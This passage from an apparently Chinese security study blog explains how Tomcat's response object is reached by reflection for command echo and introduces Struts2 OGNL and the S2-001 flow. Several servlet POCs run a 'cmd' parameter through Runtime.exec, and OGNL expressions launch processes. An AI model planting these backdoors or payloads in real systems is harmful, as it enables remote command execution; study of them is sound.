但是这里的request和response并不是静态变量,无法直接从类中提取出来,需要从对象里面获取。这时我们就需要去找存储Http11ProcessorHttp11Processor.request/response的变量

往回翻找调用方法,找到AbstractProtcol的内部类ConnectionHandler#process中有register(processor);这么一个操作,用register方法对Http11Processor进行操作

跟进到register方法中,可以看到rp是从Http11Processor中获取的RequestInfo类,rp中包含着request对象,而request对象中包含response对象,随后就对rp调用了setGlobalProcessor(global)

跟进setGlobalProcessor(global)中,可以看到这里把RequestInfo对象注册到了global中,这个global是AbstractProtcol内部类ConnectionHandler的一个属性

那么我们只要获取到global对象就可以获取到里面的response对象了,获取链如下

1
AbstractProtocol$ConnectoinHandler --> global --> RequestInfo --> req --> response

但是该global仍然不是static,因此我们还要找存储AbstractProtocol类或AbstractProtocol子类的参数

在调用栈中存在CoyoteAdapter类,其中connector对象的protocolHandler属性为Http11NioProtocol,http11NioProtocol的handler就是AbstractProtocol$ConnectoinHandler

获取链如下

1
connector --> protocolHandler --> handler --> AbstractProtocol$ConnectoinHandler --> global-->RequestInfo --> req --> response

现在最重要的问题就是,该如何去获取这个connector

在Tomcat的启动过程中会创建connector对象,并且通过addConnector方法放入connectors

跟进到StandardService#addConnector方法中,该方法将传入的connector对象放到了StandardService对象的connectors[]数组中

现在获取链就变成了:

1
StandardService --> connectors --> connector --> protocolHandler --> handler --> AbstractProtocol$ConnectoinHandler --> global --> RequestInfo --> req --> response

connectors同样为非静态属性,那么我们就需要获取在Tomcat中已经存在的StandardService对象。

关键

接下来的关键就在于,我们该如何获取StandardService的对象

我们回顾一下tomcat的架构

Service是Tomcat的最外层对象了,如果再往外就会涉及到Tomcat的类加载机制。Tomcat的类加载机制并不是传统双亲委派机制,因为双亲委派机制不适用于存在多个WebAPP的情况

假设WebApp A依赖了common-collection 3.1,而WebApp B依赖了common-collection 3.2 这样在加载的时候由于全限定名相同,不能同时加载,所以必须对各个webapp进行隔离,如果使用双亲委派机制,那么在加载一个类的时候会先去他的父加载器加载,这样就无法实现隔离,tomcat隔离的实现方式是每个WebApp用一个独有的ClassLoader实例来优先处理加载,并不会传递给父加载器。这个定制的ClassLoader就是WebappClassLoader。

与双亲委派机制相反,Tomcat加载机制为:WebAppClassLoader负责加载本身的目录下的class文件,加载不到时,才会交给CommonClassLoader加载

在SpringBoot项目中,alt+f8 计算看下Thread.currentThread().getContextClassLoader() 中的内容,可以看到再类加载器中,就包含了我们的StandardService对象。

1
WebappClassLoader --> resources --> context --> context --> StandardService --> connectors --> connector --> protocolHandler --> handler --> AbstractProtocol$ConnectoinHandler --> global --> RequestInfo --> req --> response

在整个调用链中,有些变量可以get方法获取,对于私有和保护属性的变量我们只能通过反射来获取了

实现

对于不同版本的Tomcat获取方式不同,Tomcat8/9或者更低的版本,可以直接从webappClassLoaderBase.getResources().getContext()中获取

其实就是response经过了层层的封装,我们需要一层一层的剥开他的心~,对于存在getter方法的使用getter即可,对于私有保护属性的,使用反射获取即可

自写POC

POC如下(自己写的比较杂乱,算是让自己了解一遍流程吧)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
@WebServlet("/index")
public class HelloServlet extends HttpServlet {
public void doGet(HttpServletRequest request, HttpServletResponse response) {
try{
String cmd = request.getParameter("cmd");

if (cmd != null && !cmd.equals("")) {
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
Context standardContext1 = webappClassLoaderBase.getResources().getContext();
ApplicationContext applicationContext = (ApplicationContext) getField(standardContext1, "context");
Service service = (Service) getField(applicationContext, "service");
Connector[] connectors = (Connector[]) getField(service, "connectors");
ProtocolHandler protocolHandler = connectors[0].getProtocolHandler();

Field handlerField = AbstractProtocol.class.getDeclaredField("handler");
handlerField.setAccessible(true);
AbstractEndpoint.Handler handler = (AbstractEndpoint.Handler) handlerField.get(protocolHandler);

RequestGroupInfo global = (RequestGroupInfo) handler.getGlobal();
ArrayList<RequestInfo> processors = (ArrayList<RequestInfo>) getField(global, "processors");

Field reqField = RequestInfo.class.getDeclaredField("req");
reqField.setAccessible(true);

for (RequestInfo processor : processors) {
Request requestA = (Request) reqField.get(processor);
org.apache.catalina.connector.Request connectorRequest = (org.apache.catalina.connector.Request) requestA.getNote(1);//获取catalina.connector.Request类型的Request
org.apache.catalina.connector.Response connectorResponse = connectorRequest.getResponse();
java.io.Writer w = response.getWriter();//获取Writer
Field usingWriter = org.apache.catalina.connector.Response.class.getDeclaredField("usingWriter");
usingWriter.setAccessible(true);
usingWriter.set(connectorResponse, Boolean.FALSE);//初始化

InputStream stream = Runtime.getRuntime().exec(cmd).getInputStream();
Scanner scanner = new Scanner(stream).useDelimiter("\\A");
String s = scanner.hasNext() ? scanner.next() : "";
w.write(s);
w.flush();
}
}
}catch (Exception e){
e.printStackTrace();
}
}

public <T> Object getField(T obj , String fieldName) throws Exception {
Field declaredField = obj.getClass().getDeclaredField(fieldName);
declaredField.setAccessible(true);
Object value = declaredField.get(obj);
return value;
}
}

拿来主义

相比于其他师傅写的,我的实在是太杂乱了,也可能是因为学的不精吧
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70

// 适用于 Tomcat8,获取全局 response 进行攻击

@WebServlet(urlPatterns = "/servletAttack")
public class GlobalContextAttack extends HttpServlet {
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {

try {
// 获取Tomcat ClassLoader context
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext();

// 获取standardContext的context
Field context = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
context.setAccessible(true);//将变量设置为可访问
org.apache.catalina.core.ApplicationContext ApplicationContext = (org.apache.catalina.core.ApplicationContext) context.get(standardContext);

// 获取ApplicationContext的service
Field service = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service");
service.setAccessible(true);//将变量设置为可访问
StandardService standardService = (StandardService) service.get(ApplicationContext);

// 获取StandardService的connectors
Field connectorsField = Class.forName("org.apache.catalina.core.StandardService").getDeclaredField("connectors");
connectorsField.setAccessible(true);//将变量设置为可访问
org.apache.catalina.connector.Connector[] connectors = (org.apache.catalina.connector.Connector[]) connectorsField.get(standardService);

// 获取AbstractProtocol的handler
org.apache.coyote.ProtocolHandler protocolHandler = connectors[0].getProtocolHandler();
Field handlerField = org.apache.coyote.AbstractProtocol.class.getDeclaredField("handler");
handlerField.setAccessible(true);
org.apache.tomcat.util.net.AbstractEndpoint.Handler handler = (AbstractEndpoint.Handler) handlerField.get(protocolHandler);

// 获取内部类ConnectionHandler的global
Field globalField = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredField("global");
globalField.setAccessible(true);
RequestGroupInfo global = (RequestGroupInfo) globalField.get(handler);

// 获取RequestGroupInfo的processors
Field processors = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
processors.setAccessible(true);
java.util.List<RequestInfo> RequestInfolist = (java.util.List<RequestInfo>) processors.get(global);

// 获取Response,并做输出处理
Field reqField = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
reqField.setAccessible(true);
for (RequestInfo requestInfo : RequestInfolist) {//遍历
org.apache.coyote.Request coyoteReq = (org.apache.coyote.Request )reqField.get(requestInfo);//获取request
org.apache.catalina.connector.Request connectorRequest = ( org.apache.catalina.connector.Request)coyoteReq.getNote(1);//获取catalina.connector.Request类型的Request
org.apache.catalina.connector.Response connectorResponse = connectorRequest.getResponse();
java.io.Writer w = response.getWriter();//获取Writer
Field responseField = ResponseFacade.class.getDeclaredField("response");
responseField.setAccessible(true);
Field usingWriter = Response.class.getDeclaredField("usingWriter");
usingWriter.setAccessible(true);
usingWriter.set(connectorResponse, Boolean.FALSE);//初始化
w.write("1111");
w.flush();//刷新
}

} catch (Exception e) {
e.printStackTrace();
}

}

protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
this.doPost(request, response);
}
}

Tomcat版本问题

我们上述的回显方式只适用于Tomcat8/9当中,但是有没有一种方式能够通杀呢?

回顾我们的获取链

我们前面做的一些操作,就是为了获取AbstractProtocol$ConnectoinHandler该类,接下来我们也可以去寻找其他地方,该地方也存储着AbstractProtocol$ConnectoinHandler

1
WebappClassLoader --> resources --> context --> context --> StandardService --> connectors --> connector --> protocolHandler --> handler --> AbstractProtocol$ConnectoinHandler --> global --> RequestInfo --> req --> response

分析

org.apache.tomcat.util.net.AbstractEndpoint中的handler是AbstractEndpointHandler自定义的,同时Handler的实现类是AbstractProtocol$ConnectoinHandler

因为 AbstractEndpoint 是抽象类,抽象类不能被实例化,所以我们去寻找其对应的子类,只要获取到对应的子类后,我们就能获取 handler 中的 AbstractProtocol$ConnectoinHandler 从而进一步获取 request 了

这里我们看到他有四个子类

这里我们来看到 NioEndpoint 类。NioEndpoint 是主要负责接受和处理 socket 的且其中实现了socket请求监听线程Acceptor、socket NIO poller线程、以及请求处理线程池

此时有一下两种方法从Thread.currentThread().getThreadGroup() 获取的线程中遍历找出我们需要的NioEndpoint 对象。

通过Acceptor获取NioEndpoint

遍历线程,获取线程中的target属性,如果该target是Acceptor类的话则其endpoint属性就是NioEndpoint 对象

利用链如下

1
Thread.currentThread().getThreadGroup() --> theads[] --> thread --> target --> NioEndpoint$Poller --> NioEndpoint --> AbstractProtocol$ConnectoinHandler --> global --> RequestInfo --> req --> response
通过poller获取NioEndpoint

遍历线程,获取线程中的target属性,如果target属性是 NioEndpointPoller 类的话,通过获取其父类 NioEndpoint,进而获取到 AbstractProtocol$ConnectoinHandler

利用链如下

1
Thread.currentThread().getThreadGroup() --> theads[] --> thread --> target --> NioEndpoint$Poller --> NioEndpoint --> AbstractProtocol$ConnectoinHandler --> global --> RequestInfo --> req --> response

实现

上面两种方式大同小异,我们使用第一种方法举例

和我们低版本Tomcat的利用相类似,只是在获取AbstractProtocol$ConnectoinHandler的方式上有所不同

自写POC
自己写的方式还是太还,思路太不清晰了,还是别的师傅的清晰
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
@WebServlet("/test")
public class TomcatServlet extends HttpServlet {
public void doGet(HttpServletRequest request, HttpServletResponse response) {
try{
String cmd = request.getParameter("cmd");
if (cmd != null && !cmd.equals("")) {

ThreadGroup threadGroup = Thread.currentThread().getThreadGroup();
Field threadsField = ThreadGroup.class.getDeclaredField("threads");
threadsField.setAccessible(true);
Thread[] threads = (Thread[])threadsField.get(threadGroup);

for(Thread thread:threads) {
Field targetField = Thread.class.getDeclaredField("target");
targetField.setAccessible(true);
Object target = targetField.get(thread);

if (target != null && target.getClass() == org.apache.tomcat.util.net.Acceptor.class) {
Field endpointField = Class.forName("org.apache.tomcat.util.net.Acceptor").getDeclaredField("endpoint");
endpointField.setAccessible(true);
Object endpoint = endpointField.get(target);
Field handlerField = Class.forName("org.apache.tomcat.util.net.AbstractEndpoint").getDeclaredField("handler");
handlerField.setAccessible(true);
AbstractEndpoint.Handler handler = (AbstractEndpoint.Handler) handlerField.get(endpoint);

RequestGroupInfo global = (RequestGroupInfo) handler.getGlobal();
ArrayList<RequestInfo> processors = (ArrayList<RequestInfo>) getField(global, "processors");

Field reqField = RequestInfo.class.getDeclaredField("req");
reqField.setAccessible(true);

for (RequestInfo processor : processors) {
Request requestA = (Request) reqField.get(processor);
org.apache.catalina.connector.Request connectorRequest = (org.apache.catalina.connector.Request) requestA.getNote(1);//获取catalina.connector.Request类型的Request
org.apache.catalina.connector.Response connectorResponse = connectorRequest.getResponse();
java.io.Writer w = response.getWriter();//获取Writer
Field usingWriter = org.apache.catalina.connector.Response.class.getDeclaredField("usingWriter");
usingWriter.setAccessible(true);
usingWriter.set(connectorResponse, Boolean.FALSE);//初始化

InputStream stream = Runtime.getRuntime().exec(cmd).getInputStream();
Scanner scanner = new Scanner(stream).useDelimiter("\\A");
String s = scanner.hasNext() ? scanner.next() : "";
w.write(s);
w.flush();
}
break;
}
}
}
}catch (Exception e){
e.printStackTrace();
}
}

public <T> Object getField(T obj , String fieldName) throws Exception {
Field declaredField = obj.getClass().getDeclaredField(fieldName);
declaredField.setAccessible(true);
Object value = declaredField.get(obj);
return value;
}
}

拿来主义
Drunkbaby还是太全能了呜呜呜,对于POC的编写我也得加油了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
@WebServlet("/AllTomcat")  
public class AllTomcatVersionAttack extends HttpServlet {
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {

try {
// 获取thread数组
ThreadGroup threadGroup = Thread.currentThread().getThreadGroup();
Field threadsField = ThreadGroup.class.getDeclaredField("threads");
threadsField.setAccessible(true);
Thread[] threads = (Thread[])threadsField.get(threadGroup);

for(Thread thread:threads) {
Field targetField = Thread.class.getDeclaredField("target");
targetField.setAccessible(true);
Object target = targetField.get(thread);
if( target != null && target.getClass() == org.apache.tomcat.util.net.Acceptor.class ) {
Field endpointField = Class.forName("org.apache.tomcat.util.net.Acceptor").getDeclaredField("endpoint");
endpointField.setAccessible(true);
Object endpoint = endpointField.get(target);
Field handlerField = Class.forName("org.apache.tomcat.util.net.AbstractEndpoint").getDeclaredField("handler");
handlerField.setAccessible(true);
Object handler = handlerField.get(endpoint);

// 获取内部类ConnectionHandler的global
Field globalField = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredField("global");
globalField.setAccessible(true);
RequestGroupInfo global = (RequestGroupInfo) globalField.get(handler);

// 获取RequestGroupInfo的processors
Field processors = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
processors.setAccessible(true);
java.util.List<RequestInfo> RequestInfolist = (java.util.List<RequestInfo>) processors.get(global);


// 获取Response,并做输出处理
Field reqField = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
reqField.setAccessible(true);
for (RequestInfo requestInfo : RequestInfolist) {//遍历
org.apache.coyote.Request coyoteReq = (org.apache.coyote.Request) reqField.get(requestInfo);//获取request
org.apache.catalina.connector.Request connectorRequest = (org.apache.catalina.connector.Request) coyoteReq.getNote(1);//获取catalina.connector.Request类型的Request
org.apache.catalina.connector.Response connectorResponse = connectorRequest.getResponse();

// 从connectorRequest 中获取参数并执行
String cmd = connectorRequest.getParameter("cmd");
String res = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();

// 方法一
// connectorResponse.getOutputStream().write(res.getBytes(StandardCharsets.UTF_8));
// connectorResponse.flushBuffer();

// 方法二
java.io.Writer w = response.getWriter();//获取Writer
Field responseField = ResponseFacade.class.getDeclaredField("response");
responseField.setAccessible(true);
Field usingWriter = Response.class.getDeclaredField("usingWriter");
usingWriter.setAccessible(true);
usingWriter.set(connectorResponse, Boolean.FALSE);//初始化
w.write(res);
w.flush();//刷新
}
}
}

} catch (Exception e) {
e.printStackTrace();
}

}

protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
this.doPost(request, response);
}
}

不足

利用链太长了,POC超长,可能会存在org.apache.coyote.http11.AbstractHttp11Protocol 的maxHeaderSize的长度限制,可以通过修改maxHeaderSize来绕过限制。操作复杂较为复杂,可能有存在性能问题,整体来讲该方法不受各种配置的影响,通用型较强。

Struts2

Struts2简介

Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。Struts 2是Struts的下一代产品,是在 struts 1和WebWork的技术基础上进行了合并的全新的Struts 2框架。

OGNL表达式

对于Struts2的漏洞,ONGL表达式是相关的基础,我们来做相关了解

OGNL简介

OGNL 是 Object-Graph Navigation Language 的缩写,它是一种功能强大的表达式语言(Expression Language,简称为 EL),通过它简单一致的表达式语法,可以存取对象的任意属性,调用对象的方法,遍历整个对象的结构图,实现字段类型转化等功能。

它使用相同的表达式去存取对象的属性。

环境配置

环境配置具体看这位师傅的文章了

https://github.com/Y4tacker/JavaSec/blob/main/7.Struts2%E4%B8%93%E5%8C%BA/%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA/%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA.md

OGNL表达式

OGNL三要素

  • 表达式(Expression)

表达式是OGNL表达式中最为核心的部分,所有的OGNL操作都是针对表达式解析后进行的。通过表达式来告诉OGNL操作到底要干什么。因此表达式是一个带有语法意义的字符串,该字符串会规定操作的类型和内容。OGNL 表达式支持大量的表达式,如 “链式访问对象”、表达式计算、甚至还支持 Lambda 表达式。

  • Root 对象

OGNL 的 Root 对象可以理解为 OGNL 的操作对象。当我们指定了一个表达式的时候,我们需要指定这个表达式针对的是哪个具体的对象。而这个具体的对象就是 Root 对象,这就意味着,如果有一个 OGNL 表达式,那么我们需要针对 Root 对象来进行 OGNL 表达式的计算并且返回结果。

  • 上下文环境

有个 Root 对象和表达式,我们就可以使用 OGNL 进行简单的操作了,如对 Root 对象的赋值与取值操作。但是,实际上在 OGNL 的内部,所有的操作都会在一个特定的数据环境中运行。这个数据环境就是上下文环境(Context)。OGNL 的上下文环境是一个 Map 结构,称之为 OgnlContext。Root 对象也会被添加到上下文环境当中去。

OGNL基础使用

pom.xml文件导入
1
2
3
4
5
<dependency>
<groupId>ognl</groupId>
<artifactId>ognl</artifactId>
<version>3.1.19</version>
</dependency>

我们先来创建两个实体类

Address.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package pojo;

public class Address {
private String port;
private String address;

public Address(String port,String address) {
this.port = port;
this.address = address;
}

public String getPort() {
return port;
}

public void setPort(String port) {
this.port = port;
}

public String getAddress() {
return address;
}

public void setAddress(String address) {
this.address = address;
}
}

User.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
package pojo;

public class User {

private String name;
private int age;
private Address address;

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}

public int getAge() {
return age;
}

public void setAge(int age) {
this.age = age;
}

public Address getAddress() {
return address;
}

public void setAddress(Address address) {
this.address = address;
}

public User() {}

public User(String name, int age) {
this.name = name;
this.age = age;
}
}
对ROOT对象的访问
OGNL使用一种链式风格进行对对象的访问

链式编程,如其名是一条长长的链子,类似如下

1
2
3
StringBuffer buffer = new StringBuffer();
// 链式编程
buffer.append("aaa").append("bbb").append("ccc");

对应代码如下

1
2
3
4
5
6
7
8
9
10
11
public class Test {
public static void main(String[] args) throws Exception{
User user = new User("sean", 20);
Address address = new Address("045000", "山西晋中");
user.setAddress(address);
System.out.println(Ognl.getValue("name", user)); // sean
System.out.println(Ognl.getValue("name.length()", user)); // 4
System.out.println(Ognl.getValue("address", user).toString()); // Address(port=045000, address=山西晋中)
System.out.println(Ognl.getValue("address.port", user)); // 045000
}
}

对上下文对象的访问
使用OGNL的时候,若不设置上下文对象,系统就会自动创建一个上下文对象,如果传入的参数当中包含了上下文对象的参数,则会使用传入的上下文对象

当我们访问上下文环境中的参数时,需要在表达式前面加#,表示了与访问根ROOT对象的区别

对应代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public class Test {
public static void main(String[] args) throws Exception{
User user = new User("sean", 20);
Address address = new Address("045000", "山西晋中");
user.setAddress(address);
Map<String, Object> context = new HashMap<String, Object>();
context.put("init", "hello");
context.put("user", user);
System.out.println(Ognl.getValue("#init", context, user));
System.out.println(Ognl.getValue("#user.name", context, user));
System.out.println(Ognl.getValue("age", context, user));
System.out.println(Ognl.getValue("#user", context, user));

}
}

对静态变量与静态方法的访问

同样的,OGNL也可以对静态变量和静态方法进行调用,格式如\@[class]@[field/method ()]

对应代码如下

1
2
3
4
5
6
7
8
9
10
public class Test {
public static void main(String[] args) throws Exception{
AtVisit();
}
public static void AtVisit() throws OgnlException {
Object object1 = Ognl.getValue("@com.Static@ABC", null);
Object object2 = Ognl.getValue("@com.Static@exec(\"calc\")", null);
System.out.println(object1);
}
}

静态调用的类代码如下

1
2
3
4
5
6
7
8
public class Static {
public static String ABC = "calc";

public static void exec(String cmd) throws IOException {
Runtime.getRuntime().exec(cmd);
};
}

其中调用静态方法时的返回的object2,是基于静态方法的返回值,这里师傅们可以自行修改尝试

方法的调用
如果需要调用 Root 对象或者上下文对象当中的方法也可以使用 . 方法的方式来调用。甚至可以传入参数。就和正常的方法调用是一样的,在传参时也可以使用OGNL表达式来传入参数

对应代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
public class Test {
public static void main(String[] args) throws Exception{
User user = new User();
Map<String, Object> context = new HashMap<String, Object>();
context.put("name", "sean");
context.put("password", "password");
System.out.println(Ognl.getValue("getName()", context, user)); // null
Ognl.getValue("setName(#name)", context, user);
System.out.println(Ognl.getValue("getName()", context, user)); // sean
Ognl.getValue("setName(@com.Static@exec(\"calc\"))", context, user);
System.out.println(Ognl.getValue("getName()", context, user)); // exec
}
}

对数组和集合的访问
OGNL 支持对数组按照数组下标的顺序进行访问。此方式也适用于对集合的访问,对于 Map 支持使用键进行访问

其中可以使用数字的加减,字符的拼接来访问,还有如下一些简单操作

1
2
3
4
5
2 + 4 // 整数相加(同时也支持减法、乘法、除法、取余 [% /mod]、)
"hell" + "lo" // 字符串相加
i++ // 递增、递减
i == j // 判断
var in list // 是否在容器当中

对应代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public class Test {
public static void main(String[] args) throws Exception{
User user = new User();
Map<String, Object> context = new HashMap<String, Object>();
String[] strings = {"aa", "bb"};
ArrayList<String> list = new ArrayList<String>();
list.add("aa");
list.add("bb");
Map<String, String> map = new HashMap<String, String>();
map.put("key1", "value1");
map.put("key2", "value2");
context.put("list", list);
context.put("strings", strings);
context.put("map", map);
System.out.println(Ognl.getValue("#strings[0]", context, user)); // aa
System.out.println(Ognl.getValue("#list[0]", context, user)); // aa
System.out.println(Ognl.getValue("#list[0 + 1]", context, user)); // bb
System.out.println(Ognl.getValue("#map['key1']", context, user)); // value1
System.out.println(Ognl.getValue("#map['key' + '2']", context, user)); // value2
}
}

投影与选择
OGNL 支持类似数据库当中的选择与投影功能
  • 投影:

选出集合当中相同属性组合成一个新的集合,语法为collection.{XXX},其中XXX是该集合中每个元素的公共属性

  • 选择:

选择就是选出集合中符合条件的元素组合成一个新的集合,语法为collection.{Y XXX},其中Y是一个选择操作符,XXX是选择用的逻辑表达式

其中选择操作符有三种

  1. ?:选择满足条件的所有元素
  2. ^:选择满足条件的第一个元素
  3. $:选择满足条件的最后一个元素

对应代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public class Test {
public static void main(String[] args) throws Exception{
User p1 = new User("name1", 11);
User p2 = new User("name2", 22);
User p3 = new User("name3", 33);
User p4 = new User("name4", 44);
Map<String, Object> context = new HashMap<String, Object>();
ArrayList<User> list = new ArrayList<User>();
list.add(p1);
list.add(p2);
list.add(p3);
list.add(p4);
context.put("list", list);
System.out.println(Ognl.getValue("#list.{age}", context, list));
// [11, 22, 33, 44]
System.out.println(Ognl.getValue("#list.{age + '-' + name}", context, list));
// [11-name1, 22-name2, 33-name3, 44-name4]
System.out.println(Ognl.getValue("#list.{? #this.age > 22}", context, list));
// [User(name=name3, age=33, address=null), User(name=name4, age=44, address=null)]
System.out.println(Ognl.getValue("#list.{^ #this.age > 22}", context, list));
// [User(name=name3, age=33, address=null)]
System.out.println(Ognl.getValue("#list.{$ #this.age > 22}", context, list));
// [User(name=name4, age=44, address=null)]
}
}

创建对象
OGNL支持直接使用表达式来创建对象,其中有三种情况
  • List对象:使用{},中间使用,进行分割
  • Map对象:使用#{},中间使用,进行分割键值对
  • 任意对象:直接使用已知对象的构造方法进行构造
1
2
3
4
5
6
7
8
public class Test {
public static void main(String[] args) throws Exception{
System.out.println(Ognl.getValue("#{'key1':'value1','key2':'value2'}", null)); // {key1=value1}
System.out.println(Ognl.getValue("{'key1','value1'}", null)); // [key1, value1]
System.out.println(Ognl.getValue("new pojo.User()", null));
// User(name=null, age=0, address=null)
}
}

这里可以直接创建任意对象,感觉就很有攻击面了,可以直接命令执行

代码如下,两者皆可执行

1
2
3
4
5
6
7
public class EvilCalc {  
public static void main(String[] args) throws OgnlException {
Ognl.getValue("new java.lang.ProcessBuilder(new java.lang.String[]{\"calc\"}).start()", null);

Ognl.getValue("@java.lang.Runtime@getRuntime().exec(\"calc\")", null);
}
}

S2-001

漏洞影响范围

  • WebWork 2.1 (with altSyntax enabled)
  • WebWork 2.2.0 - WebWork 2.2.5
  • Struts 2.0.0 - Struts 2.0.8

而 Struts2 对 OGNL 表达式的解析使用了开源组件 opensymphony.xwork 2.0.3 所以会有漏洞

流程分析

我们这里看到struts的Filterorg.apache.struts2.dispatcher.FilterDispatcher类的doFilter方法

在该方法中,它做了以下业务:

  • 设置编码和本地化信息
  • 创建 ActionContext 对象
  • 分配当前线程的分发器
  • 将request对象进行封装
  • 获取 ActionMapping 对象, ActionMapping 对象对应一个action详细配置信息
  • 执行 Action 请求, 也就是 serviceAction()方法

doFilter方法中下到断点,前面做了一些基础的数据转换和获取,最后我们跟进serviceAction方法

首先获取当前请求是否已经有ValueStack对象,如果是接收到chain跳转方式的请求时,能够接管上次请求的请求和数据。

如果没有 ValueStack 对象,获取当前线程的ActionContext对象;如果有 ValueStack 对象,将事先处理好的请求中的参数 put 到 ValueStack 中

后续获取 ActionMapping 中配置的 namespace, name, method 值

这里通过ActionProxyFactory创建了ActionProxy对象,在这个过程中也会创建StrutsActionProxy的实例,StrutsActionProxy是继承自com.opensymphony.xwork2.DefaultActionProxy,实际在该代理对象的内部就持有了DefaultActionInvocation的实例,下一步就为Action代理对象设置执行的方法。

继续跟进到proxy.execute()方法内,可以看到这里获取了上下文,并用setter方法赋值上下文

但这里只是对一些数据进行操作,具体的业务逻辑我们进入invoke方法中查看

进入invoke方法后,在interceptors.hasNext判断中,使用迭代器进行顺序递归执行配置的所有拦截器, 所迭代的内容是Struts包中default.xml文件内配置的interceptors标签中的内容

在这么多拦截器中,param是用来处理我们输入的参数的,所有对于OGNL表达式的处理,应该在这个interceptor中,对于该漏洞的本质,其实就是在Struct2中哪个地方进行了OGNL表达式的解析操作

在迭代器处理完成后,我们就进入到了invokeActionOnly方法中

invokeActionOnly方法中,调用了invokeAction方法,我们走进该方法中调试,发现最后经过反射调用execute方法,开始处理用户的逻辑信息

1
2
3
public String invokeActionOnly() throws Exception {
return invokeAction(getAction(), proxy.getConfig());
}

处理完用户逻辑后,我们步出该方法,继续向下走,最终跟进executeResult()

首先用creatResult创建了一个result对象,主要逻辑肯定在execute方法内,继续跟进

走入execute方法中,继续走进doExecute方法内

doExecute方法内,准备了发送响应信息,设置了pageContext参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public void execute(ActionInvocation invocation) throws Exception {
this.lastFinalLocation = this.conditionalParse(this.location, invocation);
this.doExecute(this.lastFinalLocation, invocation);
}

public void doExecute(String finalLocation, ActionInvocation invocation) throws Exception {
if (log.isDebugEnabled()) {
log.debug("Forwarding to location " + finalLocation);
}

PageContext pageContext = ServletActionContext.getPageContext();
if (pageContext != null) {
pageContext.include(finalLocation);
} else {
HttpServletRequest request = ServletActionContext.getRequest();
HttpServletResponse response = ServletActionContext.getResponse();
RequestDispatcher dispatcher = request.getRequestDispatcher(finalLocation);
if (dispatcher == null) {
response.sendError(404, "result '" + finalLocation + "' not found");
return;
}

if (!response.isCommitted() && request.getAttribute("javax.servlet.include.servlet_path") == null) {
request.setAttribute("struts.view_uri", finalLocation);
request.setAttribute("struts.request_uri", request.getRequestURI());
dispatcher.forward(request, response);
} else {
dispatcher.include(request, response);
}
}

}

之后会调用JspServlet来处理请求,解析标签时,在标签的开始和结束位置,分别调用对应实现类如org.apache.struts2.views.jsp.ComponentTagSupport中的 doStartTag()(一些初始化操作) 及 doEndTag() (标签解析后调用end方法)方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public int doEndTag() throws JspException {
this.component.end(this.pageContext.getOut(), this.getBody());
this.component = null;
return 6;
}

public boolean end(Writer writer, String body) {
this.evaluateParams();

try {
super.end(writer, body, false);
this.mergeTemplate(writer, this.buildTemplateName(this.template, this.getDefaultTemplate()));
} catch (Exception var7) {
Exception e = var7;
LOG.error("error when rendering", e);
} finally {
this.popComponentStack();
}

return false;
}

跟进evaluateParams方法,在该if判断中,因为altSyntax默认开启,所以走入if判断中

将username拼接进%{}中,这里本意是想使用%{username}来获取域中的username参数,但是由于存在循环解析,使用造成了OGNL注入

我们继续看到findValue方法中,进行寻找值的操作,并继续走入translateVariables方法

在这里,会将拼接好的%{username}中的%{}截取,只剩下username

